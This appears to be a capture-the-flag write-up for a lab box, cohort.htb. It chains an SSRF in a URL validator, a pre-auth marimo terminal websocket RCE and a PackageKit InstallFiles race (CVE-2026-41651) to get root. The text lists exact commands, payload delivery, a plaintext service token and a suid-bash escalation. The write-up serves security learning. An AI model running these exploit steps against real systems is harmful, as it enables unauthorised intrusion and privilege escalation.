tl;dr
the box exposes ssh and nginx on 80/443. the main cohort.htb site has a client
insights validator that fetches user supplied urls, and its ssrf filters block
only exact loopback and private hostnames. fetching /status through it leaks
the internal nginx upstreams, including a wildcard notebook vhost for marimo on
127.0.0.1:8888. the notebook vhost is reachable externally, and marimo
0.20.4 has a pre-auth terminal websocket rce, so i get a shell as marimo.
that's user.
for root, PackageKit is installed as 1.2.8-2ubuntu1.2, behind the fixed
candidate. the Pack2TheRoot / CVE-2026-41651 race lets an unauthenticated local
user get PackageKit to install an attacker controlled deb through the
InstallFiles cached flag path. the package postinst runs as root, drops a
suid bash, and bash -p reads /root/root.txt. that's root.
recon
nmap
full port scan first:
nmap -p- --min-rate 5000 10.129.98.150
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
version/script scan:
nmap -sCV -p 22,80,443 10.129.98.150
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http nginx 1.24.0
443/tcp open https nginx 1.24.0
80 redirects to https, and the certificate gives the real hostnames:
O=Cohort Analytics, CN=cohort.htb
Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
added cohort.htb locally and kept the wildcard cert in mind for vhost enum.
open ports / services
| port | service | notes |
|---|---|---|
| 22 | ssh | openssh 9.6p1 on ubuntu |
| 80 | http | nginx redirect to https://cohort.htb/ |
| 443 | https | nginx, wildcard cert for *.cohort.htb |
the main site has a portal at /portal.html with a client insights validator.
the backend endpoint takes json like this:
{"url":"https://cohort.htb/status","format":"csv"}the app restricts the scheme to http and https, and blocks exact loopback
hosts, but it still lets me aim the server at useful internal names. fetching
/status through the validator leaks the nginx upstream map:
marketing cohort.htb /var/www/cohort
insights-api 127.0.0.1:5000 /api/
notebooks nb-1be3782a8afd3ad5.cohort.htb 127.0.0.1:8888
the notebook hostname is valid externally when the request uses matching host and sni:
nb-1be3782a8afd3ad5.cohort.htb
that vhost is marimo:
GET /api/version
0.20.4
foothold: marimo terminal websocket rce (443)
-
Vuln/vector: marimo
0.20.4is affected byGHSA-2679-6mx9-h9xc, a pre-auth terminal websocket rce in versions up to0.20.4. the notebook vhost exposes/terminal/wsbefore login, so i can talk directly to the terminal websocket and run commands as the marimo service account. -
Steps:
the target websocket:
wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
my helper ws_raw.py performs the websocket handshake and sends terminal input.
first confirm execution:
python3 ws_raw.py 'id; pwd; hostname'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
/home/marimo
cohort
that's enough to read the user flag:
ls -l /home/marimo/user.txt
cat /home/marimo/user.txt
-rw-r----- 1 root marimo ... /home/marimo/user.txt
- user flag:
[redacted]
local enum: services and source
the host is ubuntu noble:
cat /etc/os-release
uname -a
Ubuntu 24.04.4 LTS
6.8.0-136-generic
interesting users:
marimo:x:1000:1000::/home/marimo:/usr/sbin/nologin
insights:x:...:/nonexistent:/usr/sbin/nologin
service files show how the public pieces fit together:
cat /etc/systemd/system/marimo.service
cat /etc/systemd/system/cohort-insights.service
cat /etc/systemd/system/sysmon.service
/opt/marimo/venv/bin/marimo edit /home/marimo/notebooks/retention.py \
--headless --host 127.0.0.1 -p 8888 \
--token --token-password YKQ6iPyO5kusNx0BpVAPfjP5 \
--skip-update-check --no-sandbox
/usr/bin/python3 /opt/cohort-insights/insights_api.py
/opt/sysmon/sysmon -i /opt/sysmon/config.xml -service
the marimo token works for marimo api access, but not for sudo or su:
curl -sk 'https://nb-1be3782a8afd3ad5.cohort.htb/api/status?access_token=YKQ6iPyO5kusNx0BpVAPfjP5'
sudo -n -l
the insights api source explains the ssrf behavior from recon:
sed -n '1,220p' /opt/cohort-insights/insights_api.py
it allows only http and https, blocks a small exact host deny list, then
fetches the url. no direct file read or command execution there, but it was
enough to discover the notebook vhost.
nginx confirms the same layout:
cat /etc/nginx/sites-available/cohort.conf
/api/ -> 127.0.0.1:5000
notebook vhost -> 127.0.0.1:8888
/status -> allow 127.0.0.1 only
root: packagekit Pack2TheRoot, cve-2026-41651
-
Vuln/vector: PackageKit is installed and running as a dbus activated root service. the installed ubuntu package is still vulnerable:
packagekit 1.2.8-2ubuntu1.2, with fixed candidate1.2.8-2ubuntu1.5available. CVE-2026-41651 abuses a time of check to time of use issue inInstallFiles: first callInstallFiles(SIMULATE, dummy.deb)on a path that does not require polkit auth, then win the cached flag race withInstallFiles(NONE, payload.deb). PackageKit installs the attacker deb, and the packagepostinstruns as root. -
Steps:
confirm the vulnerable package:
pkcon --version
apt-cache policy packagekit packagekit-tools
PackageKit 1.2.8
Installed: 1.2.8-2ubuntu1.2
Candidate: 1.2.8-2ubuntu1.5
the target did not have the build tooling i wanted, so i built the public CVE-2026-41651 PoC locally, served it over http, and uploaded it with the marimo websocket helper:
python3 -m http.server 8081
python3 ws_upload.py cve-2026-41651 /tmp/cve-2026-41651
chmod +x /tmp/cve-2026-41651
running the exploit installs a payload package whose postinst drops a suid
bash:
/tmp/cve-2026-41651
SUCCESS - SUID bash
use the suid copy with -p to keep effective uid 0:
/tmp/.suid_bash -p -c 'id; cat /root/root.txt'
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
- root flag:
[redacted]